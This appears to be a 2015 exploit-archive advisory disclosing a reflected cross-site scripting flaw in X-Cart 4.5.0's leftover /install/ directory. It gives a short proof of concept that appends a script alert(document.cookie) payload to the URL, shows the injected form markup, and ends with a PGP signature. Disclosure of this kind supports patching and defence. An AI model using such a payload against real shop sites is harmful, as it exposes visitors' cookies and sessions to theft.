X-Cart 4.5.0 Cross Site Scripting

`# Exploit Title: X-Cart Cross Site Scripting  
# Date: 30/06/2015  
# Exploit Author: nopesled  
# Vendor Homepage: http://www.x-cart.com/  
# Version: 4.5.0 and possibly earlier  
  
Details  
-------  
  
Websites running X-Cart version 4.5.0 (and possibly below) which have not removed their /install/ directory  
are vulnerable to Cross Site Scripting via a GET request. The affected code is as follows:  
  
<form method="post" name="ifrm" action="/install.php/" onsubmit="javascript: return step_next();">  
  
Proof of Concept  
----------------  
  
1. Navigate to /install/  
2. Append javascript payload (Eg: <script>alert(document.cookie)</script>  
3. Alert box appears containing cookie information  
4. Analysis of page source reveals the following change  
  
<form method="post" name="ifrm" action="/install.php/"><script>alert(document.cookie)</script>" onsubmit="javascript: return step_next();">  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Signed.  
-----BEGIN PGP SIGNATURE-----  
Version: Keybase OpenPGP v2.0.14  
Comment: https://keybase.io/crypto  
  
wsBcBAABCgAGBQJVkn9KAAoJEOB0UMODnV4UypMH+wfgkTiaFA5T5Ab4J7I89z9g  
o+6/uypHQwnYRfiAWKPXJVnGysgaBdvjzP8sLTozjQmGwDSTXimk5HiVXbLm9wt+  
rLFS3X6+RldP/+E3J5ki2jQFM0cR+bVpEwPb5cusyfxVwFEidFoX5H5M37Go4+no  
3K1xXCb+EzkmSuBaDtWDYD4nu/9RW2z0aoxpcrEomUefL8GQsYO37fOhorR4dqtO  
puXG8so+czyy2b+WUmwTy7WPqbiTtJDjehFdnyPSxy45xHmjeXBX+b9YoGbRZJ8i  
6YXc8iIc5bOapyz4tCNrlqvaUO6yZurJ/6vQ4xSPyJuojQsUPUtqIKbq0wLg0sg=  
=cLt5  
-----END PGP SIGNATURE-----  
`